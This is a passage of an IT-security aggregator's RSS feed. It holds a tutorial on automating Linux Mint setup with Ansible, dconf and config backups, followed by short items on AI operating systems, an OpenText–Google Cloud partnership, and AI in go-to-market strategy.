<li><strong>Ansible Playbook</strong> - Automates software installation and system configuration</li>
<li><strong>Configuration Files</strong> - Backs up and restores application settings from <code>.config</code></li>
<li><strong>dconf Backup</strong> - Preserves desktop environment settings (Cinnamon/GNOME)</li>
</ol>
<p>I store all configurations in a private repository to protect any sensitive information while keeping everything version-controlled and easily accessible.</p>
<h2>Prerequisites</h2>
<p>Before you begin, make sure you have:</p>
<ul>
<li>A fresh Linux Mint installation</li>
<li>Terminal access</li>
<li>An internet connection</li>
<li>Basic familiarity with the command line</li>
</ul>
<h2>Step-by-Step Setup Process</h2>
<h3>Step 1: Update Your System</h3>
<p>First things first—let's make sure your system is up to date:</p>
<pre><code class="lang-bash">sudo apt <span class="hljs-keyword">update</span>
sudo apt <span class="hljs-keyword">upgrade</span> -y
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Updates the package index to get the latest package information</li>
<li>Upgrades all installed packages to their latest versions</li>
<li>The <code>-y</code> flag automatically confirms all prompts</li>
</ul>
<h3>Step 2: Install Ansible</h3>
<p>Ansible is a powerful automation tool that will handle the bulk of our software installation. Add the official Ansible PPA and install it:</p>
<pre><code class="lang-bash">sudo apt-<span class="hljs-built_in">add</span>-repository <span class="hljs-keyword">pp</span><span class="hljs-variable">a:ansible</span>/ansible
sudo apt <span class="hljs-keyword">update</span>
sudo apt install ansible
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Adds the official Ansible Personal Package Archive (PPA)</li>
<li>Refreshes package information to include Ansible packages</li>
<li>Installs the latest version of Ansible</li>
</ul>
<h3>Step 3: Create Your Ansible Playbook</h3>
<p>Create an Ansible playbook that defines your entire system configuration. This YAML file will automate software installation from multiple sources.</p>
<p>Create a file named <code>localsetup.yml</code>:</p>
<pre><code class="lang-yaml">-<span class="ruby"> <span class="hljs-symbol">hosts:</span> localhost
</span>  become: true

  vars:
    # Add any variables here (URLs, versions, etc.)

  tasks:
    # Install prerequisites
    -<span class="ruby"> <span class="hljs-symbol">name:</span> Install prerequisites <span class="hljs-keyword">for</span> Ansible to install .deb via apt <span class="hljs-class"><span class="hljs-keyword">module</span></span>
</span>      apt:
        name:
          -<span class="ruby"> xz-utils
</span>        state: present

    -<span class="ruby"> <span class="hljs-symbol">name:</span> Ensure wget <span class="hljs-keyword">and</span> gpg are installed
</span>      apt:
        name:
          -<span class="ruby"> wget
</span>          -<span class="ruby"> gpg
</span>        state: present

    # Install applications from .deb packages
    -<span class="ruby"> <span class="hljs-symbol">name:</span> Install Google Chrome
</span>      apt:
        deb: https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb

    # Add third-party repositories
    -<span class="ruby"> <span class="hljs-symbol">name:</span> Add signing key <span class="hljs-keyword">for</span> Tailscale
</span>      get_url:
        url: https://pkgs.tailscale.com/stable/ubuntu/jammy.noarmor.gpg
        dest: /usr/share/keyrings/tailscale.gpg
        mode: '0644'

    -<span class="ruby"> <span class="hljs-symbol">name:</span> Add Tailscale repository
</span>      apt_repository:
        repo: "deb [signed-by=/usr/share/keyrings/tailscale.gpg] https://pkgs.tailscale.com/stable/ubuntu jammy main"
        filename: tailscale
        state: present

    -<span class="ruby"> <span class="hljs-symbol">name:</span> Update package cache after adding repositories
</span>      ansible.builtin.apt:
        update_cache: yes

    # Install standard packages from Ubuntu/Mint repositories
    -<span class="ruby"> <span class="hljs-symbol">name:</span> Install essential applications
</span>      apt:
        pkg:
          -<span class="ruby"> tailscale
</span>          -<span class="ruby"> git
</span>          -<span class="ruby"> diodon          <span class="hljs-comment"># Clipboard manager</span>
</span>          -<span class="ruby"> pavucontrol     <span class="hljs-comment"># PulseAudio volume control</span>
</span>          -<span class="ruby"> guake           <span class="hljs-comment"># Drop-down terminal</span>
</span>          -<span class="ruby"> vim
</span>          -<span class="ruby"> curl
</span>          -<span class="ruby"> htop
</span>        state: present

    # Install Flatpak applications
    -<span class="ruby"> <span class="hljs-symbol">name:</span> Install Flatpak applications
</span>      community.general.flatpak:
        name:
          -<span class="ruby"> org.gimp.GIMP
</span>          -<span class="ruby"> org.inkscape.Inkscape
</span>        state: present
</code></pre>
<p><strong>Understanding the playbook structure:</strong></p>
<ul>
<li><strong>hosts: localhost</strong> - Runs on your local machine</li>
<li><strong>become: true</strong> - Executes tasks with sudo privileges</li>
<li><strong>tasks</strong> - List of operations to perform</li>
<li><strong>apt module</strong> - Installs packages from repositories or .deb files</li>
<li><strong>apt_repository</strong> - Adds third-party repositories</li>
<li><strong>flatpak module</strong> - Installs Flatpak applications</li>
</ul>
<p><strong>Customization tips:</strong></p>
<ul>
<li>Add more packages to the <code>pkg</code> list under "Install essential applications"</li>
<li>Include additional <code>.deb</code> packages using the <code>deb:</code> parameter</li>
<li>Add more third-party repositories following the Tailscale example</li>
<li>Extend with Flatpak apps, snap packages, or pip packages as needed</li>
</ul>
<h3>Step 4: Run the Ansible Playbook</h3>
<p>Navigate to the directory containing your <code>localsetup.yml</code> file and execute the playbook:</p>
<pre><code class="lang-bash">sudo ansible-playbook localsetup<span class="hljs-selector-class">.yml</span> --connection=local
</code></pre>
<p><strong>What this does:</strong></p>
<ul>
<li>Executes all tasks defined in your playbook</li>
<li>Installs all specified software automatically</li>
<li>Configures repositories and signing keys</li>
<li>Runs with local connection (no SSH required)</li>
</ul>
<p><strong>Note:</strong> This may take several minutes to complete, depending on your internet connection and the number of packages being installed. You'll see progress output for each task.</p>
<h3>Step 5: Restore Configuration Files</h3>
<p>Application settings are typically stored in the <code>~/.config</code> directory. If you have a backup of your configuration files, restore them:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Clone your private configuration repository</span>
git clone https:<span class="hljs-regexp">//gi</span>thub.com<span class="hljs-regexp">/yourusername/y</span>our-config-repo.git
cd your-config-repo

<span class="hljs-comment"># Copy configuration files to your home directory</span>
cp -r .config<span class="hljs-regexp">/* ~/</span>.config<span class="hljs-regexp">/</span>
</code></pre>
<p><strong>What this restores:</strong></p>
<ul>
<li>Application preferences and settings</li>
<li>Custom keyboard shortcuts</li>
<li>Editor configurations (VS Code, Vim, etc.)</li>
<li>Terminal emulator settings</li>
<li>Any other application-specific configurations</li>
</ul>
<p><strong>Tip:</strong> Press <code>Ctrl + H</code> in your file manager to show hidden files and folders (those starting with <code>.</code>).</p>
<p><strong>Important configurations to backup:</strong></p>
<ul>
<li><code>~/.config/</code> - Most modern application settings</li>
<li><code>~/.bashrc</code> or <code>~/.zshrc</code> - Shell configuration</li>
<li><code>~/.gitconfig</code> - Git configuration</li>
</ul>
<h3>Step 6: Import Desktop Environment Settings</h3>
<p>Restore your Cinnamon/GNOME desktop environment settings using dconf. This includes themes, panels, applets, and all desktop preferences.</p>
<h4>Creating a dconf Backup (do this on your working system first):</h4>
<pre><code class="lang-bash"><span class="hljs-comment"># Export all settings</span>
dconf <span class="hljs-keyword">dump</span> / &gt; my_dconf_backup.conf

<span class="hljs-comment"># Or export specific paths</span>
dconf <span class="hljs-keyword">dump</span> /org/cinnamon/ &gt; cinnamon_settings.conf
</code></pre>
<h4>Restoring dconf Settings:</h4>
<pre><code class="lang-bash"><span class="hljs-comment"># Navigate to your dconf backup location</span>
cd /path/<span class="hljs-built_in">to</span>/your/backups/dconf

<span class="hljs-comment"># Restore all settings</span>
dconf <span class="hljs-built_in">load</span> / &lt; my_dconf_backup.conf
</code></pre>
<p><strong>What this restores:</strong></p>
<ul>
<li>Desktop themes and appearance</li>
<li>Panel configuration and applets</li>
<li>Keyboard shortcuts</li>
<li>Window manager preferences</li>
<li>Display settings</li>
<li>Power management settings</li>
<li>All other desktop environment preferences</li>
</ul>
<p><strong>Note:</strong> You may need to log out and log back in for all changes to take effect.</p>
<h2>Advanced Tips and Best Practices</h2>
<h3>Maintaining Your Automation Setup</h3>
<ol>
<li><strong>Version Control:</strong> Keep your playbook and configs in a Git repository</li>
<li><strong>Regular Updates:</strong> Update your backup after making configuration changes</li>
<li><strong>Test on VMs:</strong> Test your automation on a virtual machine before using on production</li>
<li><strong>Document Changes:</strong> Add comments to your playbook explaining custom configurations</li>
</ol>
<h3>Securing Sensitive Information</h3>
<ul>
<li>Use Ansible Vault to encrypt sensitive data in your playbooks</li>
<li>Never commit SSH private keys or passwords to repositories</li>
<li>Use environment variables for sensitive configuration values</li>
<li>Keep your configuration repository private</li>
</ul>
<h3>Extending Your Automation</h3>
<p>You can extend this setup to include:</p>
<pre><code class="lang-yaml"># Install development tools
-<span class="ruby"> <span class="hljs-symbol">name:</span> Install development tools
</span>  apt:
    pkg:
      -<span class="ruby"> build-essential
</span>      -<span class="ruby"> docker.io
</span>      -<span class="ruby"> python3-pip
</span>      -<span class="ruby"> nodejs
</span>      -<span class="ruby"> npm
</span>
# Install VS Code
-<span class="ruby"> <span class="hljs-symbol">name:</span> Add VS Code repository key
</span>  apt_key:
    url: "https://packages.microsoft.com/keys/microsoft.asc"
    state: present

-<span class="ruby"> <span class="hljs-symbol">name:</span> Add VS Code repository
</span>  apt_repository:
    repo: "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main"
    filename: vscode
    state: present

-<span class="ruby"> <span class="hljs-symbol">name:</span> Install VS Code
</span>  apt:
    name: code
    state: present

# Configure git
-<span class="ruby"> <span class="hljs-symbol">name:</span> Configure git user
</span>  community.general.git_config:
    name: "{{ item.name }}"
    value: "{{ item.value }}"
    scope: global
  loop:
    -<span class="ruby"> { <span class="hljs-symbol">name:</span> <span class="hljs-string">'user.name'</span>, <span class="hljs-symbol">value:</span> <span class="hljs-string">'Your Name'</span> }
</span>    -<span class="ruby"> { <span class="hljs-symbol">name:</span> <span class="hljs-string">'user.email'</span>, <span class="hljs-symbol">value:</span> <span class="hljs-string">'your.email@example.com'</span> }</span>
</code></pre>
<h2>Troubleshooting</h2>
<h3>Common Issues</h3>
<p><strong>Ansible not found after installation:</strong></p>
<pre><code class="lang-bash"># <span class="hljs-built_in">Verify</span> installation
ansible --version

# <span class="hljs-keyword">If</span> <span class="hljs-keyword">not</span> found, check <span class="hljs-built_in">PATH</span>
<span class="hljs-built_in">echo</span> $<span class="hljs-built_in">PATH</span>
</code></pre>
<p><strong>Permission denied errors:</strong></p>
<ul>
<li>Ensure you're running the playbook with <code>sudo</code></li>
<li>Check file permissions on your playbook: <code>chmod 644 localsetup.yml</code></li>
</ul>
<p><strong>Package conflicts:</strong></p>
<ul>
<li>Run <code>sudo apt update</code> before running the playbook</li>
<li>Check for PPA conflicts: <code>sudo apt-cache policy &lt;package-name&gt;</code></li>
</ul>
<p><strong>dconf restore doesn't seem to work:</strong></p>
<ul>
<li>Log out and log back in after restoring</li>
<li>Verify the backup file format: <code>head my_dconf_backup.conf</code></li>
<li>Try restoring specific paths instead of all settings</li>
</ul>
<h2>Conclusion</h2>
<p>Automating your Linux Mint setup transforms a tedious manual process into a quick, repeatable procedure. With Ansible handling software installation, configuration file backups preserving application settings, and dconf managing desktop preferences, you can rebuild your perfect development environment in minutes rather than hours.</p>
<p>The time invested in creating these automation scripts pays dividends every time you set up a new machine, recover from a failure, or help a colleague replicate your environment.</p>
<h2>Additional Resources</h2>
<ul>
<li><a href="https://docs.ansible.com/">Ansible Documentation</a></li>
<li><a href="https://wiki.gnome.org/Projects/dconf">dconf Manual</a></li>
<li><a href="https://linuxmint.com/documentation.php">Linux Mint Documentation</a></li>
<li><a href="https://dotfiles.github.io/">Dotfiles Management</a></li>
</ul>
<h2>Next Steps</h2>
<ul>
<li>Customize the playbook with your preferred applications</li>
<li>Create backups of your current configuration files</li>
<li>Export your current dconf settings</li>
<li>Test your automation on a virtual machine</li>
<li>Set up a private Git repository for your configurations</li>
</ul>




<p><a href="https://hackerpublicradio.org/eps/hpr4524/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[KI-Betriebssysteme sind schon längst DA]]></title>
<description><![CDATA[Author: The Morpheus - Bewertung: 68x - Views:531 Erfahrt hier warum KI Betriebssysteme schon lange hier sind :)

Hier geht's zu unserem Partner Hbada und bis einschließlich 4.12. ist BLACK FRIDAY:
Im Hbada-Shop: https://bit.ly/3JP55Lt
Extra 5% Rabatt mit dem Code MORPHEUS

Amazon: https://bit.ly...]]></description>
<link>https://tsecurity.de/de/3136617/it-security-video/ki-betriebssysteme-sind-schon-laengst-da/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3136617/it-security-video/ki-betriebssysteme-sind-schon-laengst-da/</guid>
<pubDate>Wed, 03 Dec 2025 17:47:39 +0100</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<enclosure url="https://i.ytimg.com/vi/Jjz2BPgceVU/maxresdefault.jpg" length="0" type="image/jpeg" />
<content:encoded><![CDATA[<p>Author: The Morpheus - Bewertung: 68x - Views:531 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/Jjz2BPgceVU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Erfahrt hier warum KI Betriebssysteme schon lange hier sind :)<br />
<br />
Hier geht's zu unserem Partner Hbada und bis einschließlich 4.12. ist BLACK FRIDAY:<br />
Im Hbada-Shop: https://bit.ly/3JP55Lt<br />
Extra 5% Rabatt mit dem Code MORPHEUS<br />
<br />
Amazon: https://bit.ly/4nBS59R<br />
Extra 5% Rabatt mit dem Code E3MORPHEUS<br />
<br />
#HBADAchair #hbada #hbadaE3 #ergonomicchair #bestchair<br />
<br />
MorphReader im PlayStore: https://play.google.com/store/apps/details?id=de.themorpheus.morph_reader_app&hl=de<br />
<br />
MorphReader im App Store: https://apps.apple.com/de/app/morphreader/id6741467699?platform=iphone<br />
<br />
RSS-Feed: https://www.patreon.com/collection/880029?view=expanded<br />
<br />
Bootstrap Academy: https://bootstrap.academy/<br />
https://github.com/Bootstrap-Academy/<br />
<br />
Instagram: https://www.instagram.com/themorpheustuts/<br />
<br />
Quellen:<br />
Agents.md: https://app.box.com/s/jahvmdm75eidn2awfwi1tizynlt3vph5<br />
https://nodejs.org/en/download<br />
<br />
https://www.androidauthority.com/aluminium-os-android-for-pcs-3619092/<br />
https://news.microsoft.com/source/emea/2025/10/microsoft-bringt-mit-windows-11-ki-auf-jeden-pc/?lang=de<br />
https://www.vals.ai/benchmarks/terminal-bench<br />
https://developers.openai.com/codex/cli/<br />
https://github.com/google-gemini/gemini-cli<br />
https://www.claude.com/product/claude-code<br />
https://code.claude.com/docs/en/overview#npm <br />
https://x.com/xai/status/1987696575314104339<br />
https://api-docs.deepseek.com/news/news251201<br />
https://github.com/microsoft/fara<br />
https://mistral.ai/news/magistral<br />
https://qwen.readthedocs.io/en/latest/getting_started/speed_benchmark.html<br />
<br />
Meine anderen Kanäle und Projekte: the-morpheus.de/<br />
<br />
_Selbst *kostenlos Informatik lernen* auf meiner Website:_ https://bootstrap.academy/<br />
<br />
_Discord:_<br />
https://the-morpheus.de/discord.html<br />
<br />
_Unterstützt mich - Danke!:_<br />
https://www.patreon.com/user?u=5322110<br />
https://www.paypal.me/TheMorpheus<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘AI·데이터 보안·소버린 클라우드 역량 확장’···오픈텍스트, 구글클라우드와 협력 확대]]></title>
<description><![CDATA[오픈텍스트는 구글클라우드의 기업용 제미나이 솔루션(Gemini Enterprise)과 버텍스AI(Vertex AI)를 포함한 최신 AI 기술을 자사의 엔터프라이즈 정보 관리 플랫폼 전반에 통합했다고 밝혔다. 또한 보험, 금융 서비스, 리테일 등 다양한 산업별 요구에 맞춘 새로운 AI 에이전트 기반 솔루션을 공동으로 개발하고 있다. 양사는 이러한 통합이 엔터프라이즈 고객이 기존 정보를 보다 효율적으로 활용하면서도 고도화된 AI 기능을 도입할 수 있도록 지원한다고 밝혔다.



아울러 오픈텍스트는 리테일 산업을 위한 향상된 데이터...]]></description>
<link>https://tsecurity.de/de/3132219/it-security-nachrichten/ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3132219/it-security-nachrichten/ai/</guid>
<pubDate>Tue, 02 Dec 2025 02:33:57 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>오픈텍스트는 구글클라우드의 기업용 제미나이 솔루션(Gemini Enterprise)과 버텍스AI(Vertex AI)를 포함한 최신 AI 기술을 자사의 엔터프라이즈 정보 관리 플랫폼 전반에 통합했다고 밝혔다. 또한 보험, 금융 서비스, 리테일 등 다양한 산업별 요구에 맞춘 새로운 AI 에이전트 기반 솔루션을 공동으로 개발하고 있다. 양사는 이러한 통합이 엔터프라이즈 고객이 기존 정보를 보다 효율적으로 활용하면서도 고도화된 AI 기능을 도입할 수 있도록 지원한다고 밝혔다.</p>



<p>아울러 오픈텍스트는 리테일 산업을 위한 향상된 데이터 보호 역량을 제공하기 위해 구글 빅쿼리(Google BigQuery)와 오픈텍스트 볼티지(OpenText Voltage)를 결합하는 작업을 진행했다. 오픈텍스트는 민감 데이터가 저장 중이거나 전송 중일 때뿐 아니라 AI 모델에 활용되는 과정에서도 지속적으로 보호될 수 있도록 데이터 암호화 및 프라이버시 유지 기술을 강화했다고 밝혔다. 이를 통해 리테일 기업은 AI 및 분석 시스템을 활용하면서도 규제 환경을 준수하고 데이터 보안 리스크를 줄일 수 있게 됐다는 설명이다.</p>



<p>오픈텍스트는 또한 자사의 프라이빗 클라우드 솔루션을 구글클라우드의 소버린(주권) 클라우드 인프라와 연계했다고 발표했다. 이 협력은 국가별 규제 요구사항, 데이터 거버넌스, 데이터 거주지 정책을 준수해야 하는 기업과 기관을 지원하기 위해 설계됐다. 오픈텍스트는 이번 통합이 금융, 공공, 보험 등 규제가 엄격한 산업에서 특히 중요한 의미를 가진다고 강조했다. 구글클라우드의 인프라와 결합된 오픈텍스트의 정보 관리 및 보안 플랫폼은 기업이 글로벌 규모의 운영을 유지하면서도 각 국가의 규제 준수 요건을 충족할 수 있는 환경을 제공한다. </p>



<p>오픈텍스트 최고마케팅책임자(CMO) 산디 오노는 “오픈텍스트와 구글클라우드의 협력은 공동 혁신을 기반으로 하며, 고객이 더 안전하고 지능적인 방식으로 클라우드와 AI를 활용할 수 있도록 지원하는 데 목적이 있다. 이번 파트너십 확대는 기업이 민감한 데이터를 보호하면서도 AI와 클라우드의 잠재력을 극대화하는 데 중요한 이정표가 될 것”이라고 설명했다.</p>



<p>오픈텍스트는 이번 협력이 단순한 기술 통합을 넘어, 기업이 AI 기반 디지털 전환을 추진하는 과정에서 가장 중요한 과제인 데이터 보안, 프라이버시, 규제 준수, 그리고 운영 통제력을 함께 해결할 수 있도록 지원한다고 강조했다. 양사는 앞으로도 다양한 산업군을 위한 AI 기술, 데이터 보호 기능, 소버린 클라우드 솔루션을 지속적으로 공동 개발할 계획이라고 밝혔다.<br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[A CMO’s Perspective: Why This Moment Matters in the AI Era]]></title>
<description><![CDATA[Akamai’s CMO describes how the company is radically rethinking and extending the systems needed to unlock AI’s true potential. This article has been indexed from Blog Read the original article: A CMO’s Perspective: Why This Moment Matters in the AI…
Read more →
The post A CMO’s Perspective: Why T...]]></description>
<link>https://tsecurity.de/de/3108882/it-security-nachrichten/a-cmos-perspective-why-this-moment-matters-in-the-ai-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3108882/it-security-nachrichten/a-cmos-perspective-why-this-moment-matters-in-the-ai-era/</guid>
<pubDate>Thu, 20 Nov 2025 07:33:55 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Akamai’s CMO describes how the company is radically rethinking and extending the systems needed to unlock AI’s true potential. This article has been indexed from Blog Read the original article: A CMO’s Perspective: Why This Moment Matters in the AI…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/a-cmos-perspective-why-this-moment-matters-in-the-ai-era/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/a-cmos-perspective-why-this-moment-matters-in-the-ai-era/">A CMO’s Perspective: Why This Moment Matters in the AI Era</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From pilots to pipeline: How CIOs lead the AI-native GTM engine]]></title>
<description><![CDATA[CIOs are beyond the “copilot demo” era. The mandate now is to incorporate AI into how the company finds, wins and grows customers — measured in pipeline creation, win rate, cycle time and NRR. The fastest way I’ve found to deliver that is for the CIO to architect an AI-native go-to-market (GTM) e...]]></description>
<link>https://tsecurity.de/de/3108141/it-security-nachrichten/from-pilots-to-pipeline-how-cios-lead-the-ai-native-gtm-engine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3108141/it-security-nachrichten/from-pilots-to-pipeline-how-cios-lead-the-ai-native-gtm-engine/</guid>
<pubDate>Wed, 19 Nov 2025 19:50:24 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>CIOs are beyond the “copilot demo” era. The mandate now is to incorporate AI into how the company finds, wins and grows customers — measured in pipeline creation, win rate, cycle time and NRR. The fastest way I’ve found to deliver that is for the CIO to architect an AI-native go-to-market (GTM) engine that’s co-owned with the CMO and CRO: one customer backbone, governed models and a single operating model with revenue as the interface.</p>



<p>I learned this the hard way. Anything I labeled a <em>pilot</em> stayed ornamental. The moment we rewired the work — customer signal → action → attribution — AI stopped being a demo and became part of how we built the GTM engine.</p>



<h2 class="wp-block-heading">What changes when the CIO owns the backbone</h2>



<p>Most enterprises have islands of AI: a copy assistant in marketing, a call-intelligence tool in sales, a forecasting widget in finance. Value compounds only when signals, models and execution sit on a common spine. That spine starts with identity: person- and account-level signals from first-party product usage, partner ecosystems and third-party intent flow into a signals hub that unifies, enriches and segments customers. On top of that, an orchestration layer expresses business rules and AI workflows and pushes next-best actions into the tools people already use. Outcomes provide feedback back to CRM so the entire motion can be measured against four enterprise metrics: pipeline created, win rate, cycle time and NRR.</p>



<p>When that foundation is real, performance pretty much follows. At <strong>Schneider Electric</strong>, their Digital Opportunity Factory consolidated data and sales processes on a single platform; time-to-close fell by roughly 30% and lead-to-order conversion jumped from 2% to 15%–20%. Those results happened because <a href="https://www.salesforce.com/resources/customer-stories/schneider-electric-boosts-customer-satisfaction/" target="_blank" rel="nofollow">daily selling ran on the backbone, not on sidecar experiments.</a></p>



<p><strong>Siemens</strong> shows what orchestration looks like at scale. Partnering with Outreach and a consulting firm, the company built a global Seller Action Hub that blends engagement and forecasting into one experience across thousands of sellers. Pipelines got better, deals accelerated and reps preferred the new flow because <a href="https://www.outreach.io/resources/stories/siemens-seller-action-hub" target="_blank" rel="nofollow">the system mirrored how they actually worked</a>. These examples rhyme with my experience: once identity, consent and events flow through a governed spine, go-to-market experiments accelerate. You stop debating whose spreadsheet is true and start debating which sales play created more pipelines this month.</p>



<h2 class="wp-block-heading">Wire AI into sales motions</h2>



<p>AI shows up on the scoreboard when it’s tethered to that backbone and embedded in work people already do. Sales execution is the obvious place to start. Even general-purpose assistants can move revenue when they accelerate repeatable steps. Forrester’s Total Economic Impact study on Microsoft 365 Copilot reported <a href="https://tei.forrester.com/go/microsoft/M365Copilot/docs/TheTEIOfMicrosoft365Copilot.pdf" target="_blank" rel="nofollow">increases in qualified opportunities and win rates driven by faster, higher-quality proposal creation and meeting prep</a>. Those gains appear when assistive generation sits <em>in the motion</em> along with the content store and CRM in the loop and is measured against pipeline and conversions.</p>



<p>I’ve seen the same pattern in my teams. We made “meeting packs” appear on the calendar the moment a call was scheduled: opportunity summary, buying-group roles, recent product signals, likely objections and three questions to earn the next step. This resulted in prep time decreasing from hours to minutes and first meetings started much closer to value. We combined composite intent with job-change signals and an ICP fit check; outbound landing rates rose without adding headcount. And when we flagged renewal risk early and routed a crisp, AI-assisted brief to an executive sponsor, we saved deals for which we might have deciphered the outcome too late.</p>



<h2 class="wp-block-heading">The architecture that scales</h2>



<p>You don’t need a perfect stack to begin. You need a spine that connects signals to action and a small set of components that play nice together.</p>



<p>Start with a customer backbone for identity, profiles, consent and events. In B2B, a real-time CDP tuned for account hierarchies and buying groups pays off quickly. Layer in a model tier for prediction and generation — begin with lead and account intent, next-best message, renewal risk and price guidance; then add generation for briefs, emails, proposals and QBRs, always grounded in first-party context. Keep the activation layer where sellers and marketers live — sequencing, call intelligence, deal rooms, CPQ, success playbooks — because that is where cycle time moves.</p>



<p>And bake governance in from day one: a model registry and prompt library with versioning, monitoring for drift and brand safety, human-in-the-loop checkpoints where policy requires, and clear disclosures for AI-mediated interactions in regulated markets.</p>



<p>Co-ownership between CIO, CMO and CRO stops being a slogan when you replace fragmented projects with one backlog, one calendar and one scorecard. My backlog is written in revenue language, not tool names: <em>lift first-meeting conversion in Tier-A accounts by 15%; reduce discovery prep time by 60%; cut days-to-first-value on new logos by a week; move enterprise NRR to 115%.</em><em></em></p>



<h2 class="wp-block-heading">A 12-week plan that actually earns the right to scale</h2>



<h3 class="wp-block-heading">Weeks 0–2: Set the ground rules</h3>



<p>Get clean baselines for four numbers: pipeline, win rate, cycle time and NRR. Agree on how you’ll attribute impact. Put a lightweight governance note in place — what data you’ll use and how consent works, who approves model/prompt changes and when a human must review customer-facing output. Give security and compliance this shared playbook up front so you don’t slow down later.</p>



<h3 class="wp-block-heading">Weeks 2–4: Build the spine</h3>



<p>Pick one priority segment and make identities rock-solid. Stream the signals that show intent and product usage. Enrich accounts with job-change and accounts’ tech-stack data. Fix lead-to-account matching so routing is deterministic. If the data plane is flaky, AI will just amplify the mess — tighten it now.</p>



<h3 class="wp-block-heading">Weeks 3–6: Ship three plays the field will feel</h3>



<ul class="wp-block-list">
<li><strong>New pipeline.</strong> Fire outreach when composite intent + role change + ICP fit line up, with clear SDR to AE hand-offs and everything written back to CRM.</li>



<li><strong>Shorter cycle time.</strong> Auto-drop meeting briefs (context, competitors, discovery prompts) into calendars and CRM so prep takes minutes.</li>



<li><strong>NRR guardrail.</strong> Flag renewal risk early and trigger a play that includes an exec-sponsor call with an AI-assisted brief.</li>
</ul>



<h3 class="wp-block-heading">Weeks 5–8: Turn on the content engine</h3>



<p>Reuse what already works, sliced by segment. Keep human review on anything customer-facing until quality and compliance hit your bar. Treat prompts and few-shot examples like versioned code with simple change logs so marketing, sales and legal know what changed and why.</p>



<h3 class="wp-block-heading">Weeks 8–12: Add scoped agents — with brakes</h3>



<p>Start inside the walls: meeting prep, structured call notes to CRM, follow-up drafts with source citations. Move to controlled outbound only when consent, disclosure and performance are proven. Every agent needs an owner, a clear hypothesis and a metric it’s on the hook to move. Every two weeks or so look at the delta on the four metrics identified earlier and if a play isn’t moving what it promised, sunset it and reallocate.</p>



<h2 class="wp-block-heading">What ‘good’ looks like after 12 weeks</h2>



<p>By the second quarter, the GTM motion should feel like one system. Sellers open a deal room and find a meeting brief, talk tracks, risks and next actions already present. Marketers iterate weekly because segments and signals are live. Success gets ahead of risk and proves it in retention. The monthly review between CIO, CMO and CRO gets shorter because everyone reads the same four numbers and traces them to orchestrations that shipped.</p>



<p>When I stopped asking teams to “try the copilot” and started asking “which orchestration will move pipeline this month,” everything changed. Our weekly stand-up became a review of real runs against real accounts. We cut meeting prep to minutes. We got explicit about when humans must review output and when the system is trusted. Most importantly, we measured everything against the same four numbers. That clarity created momentum — and the momentum created results.</p>



<p>You don’t need a perfect stack to start. You need a spine that turns signals into actions, a backlog written in revenue terms and a cadence the field actually trusts. Lean on native capabilities in the tools your teams already use and ship small while measuring the outcome. Make each release accountable to a metric and pilot-to-pipeline becomes the way you scale — by design and at speed.</p>



<p></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.<br></strong><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js App für eine Website mit Apache auf Ubuntu 24.04 einrichten]]></title>
<description><![CDATA[Anwendungen, die Sie mit Node.js erstellen, können jederzeit über die Befehlszeile ausgeführt werden. Eine weitere Möglichkeit ist es, Ihre Skripte als Service bereitzustellen, sodass sie beispielsweise bei Fehlern automatisch neu starten. Dieser Artikel zeigt Ihnen, wie Sie eine Node.js App mith...]]></description>
<link>https://tsecurity.de/de/3096320/server/nodejs-app-fuer-eine-website-mit-apache-auf-ubuntu-2404-einrichten/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3096320/server/nodejs-app-fuer-eine-website-mit-apache-auf-ubuntu-2404-einrichten/</guid>
<pubDate>Thu, 13 Nov 2025 14:19:59 +0100</pubDate>
<category>🐧 Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://www.ionos.de/digitalguide/fileadmin/DigitalGuide/Teaser/nodejs-fuer-eine-website-mit-apache-auf-ubuntu.jpg" width="1200" height="630" alt=""><br>Anwendungen, die Sie mit Node.js erstellen, können jederzeit über die Befehlszeile ausgeführt werden. Eine weitere Möglichkeit ist es, Ihre Skripte als Service bereitzustellen, sodass sie beispielsweise bei Fehlern automatisch neu starten. Dieser Artikel zeigt Ihnen, wie Sie eine Node.js App mithilfe von Apache unter Ubuntu 24.04 realisieren.]]></content:encoded>
</item>
<item>
